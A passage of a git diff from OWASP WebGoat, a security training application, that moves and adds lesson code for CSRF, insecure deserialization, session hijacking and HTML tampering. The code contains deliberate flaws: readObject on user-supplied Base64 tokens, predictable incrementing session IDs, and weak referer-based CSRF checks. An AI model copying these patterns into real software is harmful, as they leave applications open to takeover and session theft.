ALL_VALUE) + @ResponseBody + public Collection retrieveReviews() { + Collection allReviews = Lists.newArrayList(); + Collection newReviews = userReviews.get(webSession.getUserName()); + if (newReviews != null) { + allReviews.addAll(newReviews); + } + + allReviews.addAll(REVIEWS); + + return allReviews; + } + + @PostMapping("/csrf/review") + @ResponseBody + public AttackResult createNewReview( + String reviewText, Integer stars, String validateReq, HttpServletRequest request) { + final String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host"); + final String referer = + (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer"); + final String[] refererArr = referer.split("/"); + + Review review = new Review(); + review.setText(reviewText); + review.setDateTime(LocalDateTime.now().format(fmt)); + review.setUser(webSession.getUserName()); + review.setStars(stars); + var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList<>()); + reviews.add(review); + userReviews.put(webSession.getUserName(), reviews); + // short-circuit + if (validateReq == null || !validateReq.equals(weakAntiCSRF)) { + return failed(this).feedback("csrf-you-forgot-something").build(); + } + // we have the spoofed files + if (referer != "NULL" && refererArr[2].equals(host)) { + return failed(this).feedback("csrf-same-host").build(); + } else { + return success(this) + .feedback("csrf-review.success") + .build(); // feedback("xss-stored-comment-failure") + } + } +} diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/Review.java b/src/main/java/org/owasp/webgoat/lessons/csrf/Review.java similarity index 90% rename from webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/Review.java rename to src/main/java/org/owasp/webgoat/lessons/csrf/Review.java index f5280f8e6..0cb2a5ce1 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/Review.java +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/Review.java @@ -20,15 +20,14 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.csrf; +package org.owasp.webgoat.lessons.csrf; +import javax.xml.bind.annotation.XmlRootElement; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; import lombok.Setter; -import javax.xml.bind.annotation.XmlRootElement; - /** * @author nbaars * @since 4/8/17. @@ -39,9 +38,8 @@ import javax.xml.bind.annotation.XmlRootElement; @NoArgsConstructor @XmlRootElement public class Review { - private String user; - private String dateTime; - private String text; - private Integer stars; + private String user; + private String dateTime; + private String text; + private Integer stars; } - diff --git a/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserialization.java b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserialization.java new file mode 100644 index 000000000..39083406a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserialization.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.deserialization; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class InsecureDeserialization extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A8; + } + + @Override + public String getTitle() { + return "insecure-deserialization.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java new file mode 100644 index 000000000..d44823fdc --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java @@ -0,0 +1,85 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.deserialization; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InvalidClassException; +import java.io.ObjectInputStream; +import java.util.Base64; +import org.dummy.insecure.framework.VulnerableTaskHolder; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "insecure-deserialization.hints.1", + "insecure-deserialization.hints.2", + "insecure-deserialization.hints.3" +}) +public class InsecureDeserializationTask extends AssignmentEndpoint { + + @PostMapping("/InsecureDeserialization/task") + @ResponseBody + public AttackResult completed(@RequestParam String token) throws IOException { + String b64token; + long before; + long after; + int delay; + + b64token = token.replace('-', '+').replace('_', '/'); + + try (ObjectInputStream ois = + new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) { + before = System.currentTimeMillis(); + Object o = ois.readObject(); + if (!(o instanceof VulnerableTaskHolder)) { + if (o instanceof String) { + return failed(this).feedback("insecure-deserialization.stringobject").build(); + } + return failed(this).feedback("insecure-deserialization.wrongobject").build(); + } + after = System.currentTimeMillis(); + } catch (InvalidClassException e) { + return failed(this).feedback("insecure-deserialization.invalidversion").build(); + } catch (IllegalArgumentException e) { + return failed(this).feedback("insecure-deserialization.expired").build(); + } catch (Exception e) { + return failed(this).feedback("insecure-deserialization.invalidversion").build(); + } + + delay = (int) (after - before); + if (delay > 7000) { + return failed(this).build(); + } + if (delay < 3000) { + return failed(this).build(); + } + return success(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java b/src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java new file mode 100644 index 000000000..a8b55ab40 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java @@ -0,0 +1,51 @@ +package org.owasp.webgoat.lessons.deserialization; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.util.Base64; + +public class SerializationHelper { + + private static final char[] hexArray = "0123456789ABCDEF".toCharArray(); + + public static Object fromString(String s) throws IOException, ClassNotFoundException { + byte[] data = Base64.getDecoder().decode(s); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)); + Object o = ois.readObject(); + ois.close(); + return o; + } + + public static String toString(Serializable o) throws IOException { + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(o); + oos.close(); + return Base64.getEncoder().encodeToString(baos.toByteArray()); + } + + public static String show() throws IOException { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(baos); + dos.writeLong(-8699352886133051976L); + dos.close(); + byte[] longBytes = baos.toByteArray(); + return bytesToHex(longBytes); + } + + public static String bytesToHex(byte[] bytes) { + char[] hexChars = new char[bytes.length * 2]; + for (int j = 0; j < bytes.length; j++) { + int v = bytes[j] & 0xFF; + hexChars[j * 2] = hexArray[v >>> 4]; + hexChars[j * 2 + 1] = hexArray[v & 0x0F]; + } + return new String(hexChars); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSession.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSession.java new file mode 100644 index 000000000..c43ece76b --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSession.java @@ -0,0 +1,48 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@Component +public class HijackSession extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A1; + } + + @Override + public String getTitle() { + return "hijacksession.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java new file mode 100644 index 000000000..00416b964 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java @@ -0,0 +1,91 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.hijacksession.cas.Authentication; +import org.owasp.webgoat.lessons.hijacksession.cas.HijackSessionAuthenticationProvider; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@RestController +@AssignmentHints({ + "hijacksession.hints.1", + "hijacksession.hints.2", + "hijacksession.hints.3", + "hijacksession.hints.4", + "hijacksession.hints.5" +}) +public class HijackSessionAssignment extends AssignmentEndpoint { + + private static final String COOKIE_NAME = "hijack_cookie"; + + @Autowired HijackSessionAuthenticationProvider provider; + + @PostMapping(path = "/HijackSession/login") + @ResponseBody + public AttackResult login( + @RequestParam String username, + @RequestParam String password, + @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, + HttpServletResponse response) { + + Authentication authentication; + if (StringUtils.isEmpty(cookieValue)) { + authentication = + provider.authenticate( + Authentication.builder().name(username).credentials(password).build()); + setCookie(response, authentication.getId()); + } else { + authentication = provider.authenticate(Authentication.builder().id(cookieValue).build()); + } + + if (authentication.isAuthenticated()) { + return success(this).build(); + } + + return failed(this).build(); + } + + private void setCookie(HttpServletResponse response, String cookieValue) { + Cookie cookie = new Cookie(COOKIE_NAME, cookieValue); + cookie.setPath("/WebGoat"); + cookie.setSecure(true); + response.addCookie(cookie); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/Authentication.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/Authentication.java new file mode 100644 index 000000000..7931028a3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/Authentication.java @@ -0,0 +1,62 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession.cas; + +import java.security.Principal; +import lombok.Builder; +import lombok.Getter; +import lombok.ToString; + +/** + * @author Angel Olle Blazquez + */ +@Getter +@ToString +public class Authentication implements Principal { + + private boolean authenticated = false; + private String name; + private Object credentials; + private String id; + + @Builder + public Authentication(String name, Object credentials, String id) { + this.name = name; + this.credentials = credentials; + this.id = id; + } + + @Override + public String getName() { + return name; + } + + protected void setAuthenticated(boolean authenticated) { + this.authenticated = authenticated; + } + + protected void setId(String id) { + this.id = id; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/AuthenticationProvider.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/AuthenticationProvider.java new file mode 100644 index 000000000..55af2c53c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/AuthenticationProvider.java @@ -0,0 +1,35 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession.cas; + +import java.security.Principal; + +/** + * @author Angel Olle Blazquez + */ +@FunctionalInterface +public interface AuthenticationProvider { + + T authenticate(T t); +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java new file mode 100644 index 000000000..018dd8bf1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java @@ -0,0 +1,96 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession.cas; + +import java.time.Instant; +import java.util.LinkedList; +import java.util.Queue; +import java.util.Random; +import java.util.concurrent.ThreadLocalRandom; +import java.util.function.DoublePredicate; +import java.util.function.Supplier; +import org.apache.commons.lang3.StringUtils; +import org.springframework.stereotype.Component; +import org.springframework.web.context.annotation.ApplicationScope; + +/** + * @author Angel Olle Blazquez + */ + +// weak id value and mechanism + +@ApplicationScope +@Component +public class HijackSessionAuthenticationProvider implements AuthenticationProvider { + + private Queue sessions = new LinkedList<>(); + private static long id = new Random().nextLong() & Long.MAX_VALUE; + protected static final int MAX_SESSIONS = 50; + + private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75; + private static final Supplier GENERATE_SESSION_ID = + () -> ++id + "-" + Instant.now().toEpochMilli(); + public static final Supplier AUTHENTICATION_SUPPLIER = + () -> Authentication.builder().id(GENERATE_SESSION_ID.get()).build(); + + @Override + public Authentication authenticate(Authentication authentication) { + if (authentication == null) { + return AUTHENTICATION_SUPPLIER.get(); + } + + if (StringUtils.isNotEmpty(authentication.getId()) + && sessions.contains(authentication.getId())) { + authentication.setAuthenticated(true); + return authentication; + } + + if (StringUtils.isEmpty(authentication.getId())) { + authentication.setId(GENERATE_SESSION_ID.get()); + } + + authorizedUserAutoLogin(); + + return authentication; + } + + protected void authorizedUserAutoLogin() { + if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())) { + Authentication authentication = AUTHENTICATION_SUPPLIER.get(); + authentication.setAuthenticated(true); + addSession(authentication.getId()); + } + } + + protected boolean addSession(String sessionId) { + if (sessions.size() >= MAX_SESSIONS) { + sessions.remove(); + } + return sessions.add(sessionId); + } + + protected int getSessionsSize() { + return sessions.size(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTampering.java b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTampering.java new file mode 100644 index 000000000..0302c0b4f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTampering.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.htmltampering; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class HtmlTampering extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.CLIENT_SIDE; + } + + @Override + public String getTitle() { + return "html-tampering.title"; + } +} diff --git a/webgoat-lessons/html-tampering/src/main/java/org/owasp/webgoat/html_tampering/HtmlTamperingTask.java b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java similarity index 70% rename from webgoat-lessons/html-tampering/src/main/java/org/owasp/webgoat/html_tampering/HtmlTamperingTask.java rename to src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java index 4f4a04f56..8a0ba7103 100644 --- a/webgoat-lessons/html-tampering/src/main/java/org/owasp/webgoat/html_tampering/HtmlTamperingTask.java +++ b/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java @@ -20,11 +20,11 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.html_tampering; +package org.owasp.webgoat.lessons.htmltampering; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @@ -34,12 +34,12 @@ import org.springframework.web.bind.annotation.RestController; @AssignmentHints({"hint1", "hint2", "hint3"}) public class HtmlTamperingTask extends AssignmentEndpoint { - @PostMapping("/HtmlTampering/task") - @ResponseBody - public AttackResult completed(@RequestParam String QTY, @RequestParam String Total) { - if (Float.parseFloat(QTY) * 2999.99 > Float.parseFloat(Total) + 1) { - return success(this).feedback("html-tampering.tamper.success").build(); - } - return failed(this).feedback("html-tampering.tamper.failure").build(); + @PostMapping("/HtmlTampering/task") + @ResponseBody + public AttackResult completed(@RequestParam String QTY, @RequestParam String Total) { + if (Float.parseFloat(QTY) * 2999.99 > Float.parseFloat(Total) + 1) { + return success(this).feedback("html-tampering.tamper.success").build(); } + return failed(this).feedback("html-tampering.tamper.failure").build(); + } } diff --git a/webgoat-lessons/http-basics/src/main/java/org/owasp/webgoat/http_basics/HttpBasics.java b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasics.java similarity index 77% rename from webgoat-lessons/http-basics/src/main/java/org/owasp/webgoat/http_basics/HttpBasics.java rename to src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasics.java index 37d98c08c..d70aaebb4 100644 --- a/webgoat-lessons/http-basics/src/main/java/org/owasp/webgoat/http_basics/HttpBasics.java +++ b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasics.java @@ -20,21 +20,21 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.http_basics; +package org.owasp.webgoat.lessons.httpbasics; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class HttpBasics extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.GENERAL; - } + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } - @Override - public String getTitle() { - return "1.http-basics.title";//first lesson in general - } + @Override + public String getTitle() { + return "1.http-basics.title"; // first lesson in general + } } diff --git a/webgoat-lessons/http-basics/src/main/java/org/owasp/webgoat/http_basics/HttpBasicsLesson.java b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsLesson.java similarity index 69% rename from webgoat-lessons/http-basics/src/main/java/org/owasp/webgoat/http_basics/HttpBasicsLesson.java rename to src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsLesson.java index 589636325..883f14f31 100644 --- a/webgoat-lessons/http-basics/src/main/java/org/owasp/webgoat/http_basics/HttpBasicsLesson.java +++ b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsLesson.java @@ -20,11 +20,11 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.http_basics; +package org.owasp.webgoat.lessons.httpbasics; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @@ -34,16 +34,16 @@ import org.springframework.web.bind.annotation.RestController; @AssignmentHints({"http-basics.hints.http_basics_lesson.1"}) public class HttpBasicsLesson extends AssignmentEndpoint { - @PostMapping("/HttpBasics/attack1") - @ResponseBody - public AttackResult completed(@RequestParam String person) { - if (!person.isBlank()) { - return success(this) - .feedback("http-basics.reversed") - .feedbackArgs(new StringBuilder(person).reverse().toString()) - .build(); - } else { - return failed(this).feedback("http-basics.empty").build(); - } + @PostMapping("/HttpBasics/attack1") + @ResponseBody + public AttackResult completed(@RequestParam String person) { + if (!person.isBlank()) { + return success(this) + .feedback("http-basics.reversed") + .feedbackArgs(new StringBuilder(person).reverse().toString()) + .build(); + } else { + return failed(this).feedback("http-basics.empty").build(); } + } } diff --git a/webgoat-lessons/http-basics/src/main/java/org/owasp/webgoat/http_basics/HttpBasicsQuiz.java b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsQuiz.java similarity index 62% rename from webgoat-lessons/http-basics/src/main/java/org/owasp/webgoat/http_basics/HttpBasicsQuiz.java rename to src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsQuiz.java index 8c9977fc2..c6c14ad73 100644 --- a/webgoat-lessons/http-basics/src/main/java/org/owasp/webgoat/http_basics/HttpBasicsQuiz.java +++ b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsQuiz.java @@ -20,12 +20,12 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.http_basics; +package org.owasp.webgoat.lessons.httpbasics; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AssignmentPath; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AssignmentPath; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @@ -36,19 +36,22 @@ import org.springframework.web.bind.annotation.RestController; @AssignmentPath("HttpBasics/attack2") public class HttpBasicsQuiz extends AssignmentEndpoint { - @PostMapping("/HttpBasics/attack2") - @ResponseBody - public AttackResult completed(@RequestParam String answer, @RequestParam String magic_answer, @RequestParam String magic_num) { - if ("POST".equalsIgnoreCase(answer) && magic_answer.equals(magic_num)) { - return success(this).build(); - } else { - if (!"POST".equalsIgnoreCase(answer)) { - return failed(this).feedback("http-basics.incorrect").build(); - } - if (!magic_answer.equals(magic_num)) { - return failed(this).feedback("http-basics.magic").build(); - } - } - return failed(this).build(); + @PostMapping("/HttpBasics/attack2") + @ResponseBody + public AttackResult completed( + @RequestParam String answer, + @RequestParam String magic_answer, + @RequestParam String magic_num) { + if ("POST".equalsIgnoreCase(answer) && magic_answer.equals(magic_num)) { + return success(this).build(); + } else { + if (!"POST".equalsIgnoreCase(answer)) { + return failed(this).feedback("http-basics.incorrect").build(); + } + if (!magic_answer.equals(magic_num)) { + return failed(this).feedback("http-basics.magic").build(); + } } + return failed(this).build(); + } } diff --git a/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/http_proxies/HttpBasicsInterceptRequest.java b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java similarity index 61% rename from webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/http_proxies/HttpBasicsInterceptRequest.java rename to src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java index d6c8f0206..b3ad85e95 100644 --- a/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/http_proxies/HttpBasicsInterceptRequest.java +++ b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java @@ -20,10 +20,11 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.http_proxies; +package org.owasp.webgoat.lessons.httpproxies; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.HttpMethod; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.RequestMapping; @@ -32,22 +33,27 @@ import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; -import javax.servlet.http.HttpServletRequest; - @RestController public class HttpBasicsInterceptRequest extends AssignmentEndpoint { - @RequestMapping(path = "/HttpProxies/intercept-request", method = {RequestMethod.POST, RequestMethod.GET}) - @ResponseBody - public AttackResult completed(@RequestHeader(value = 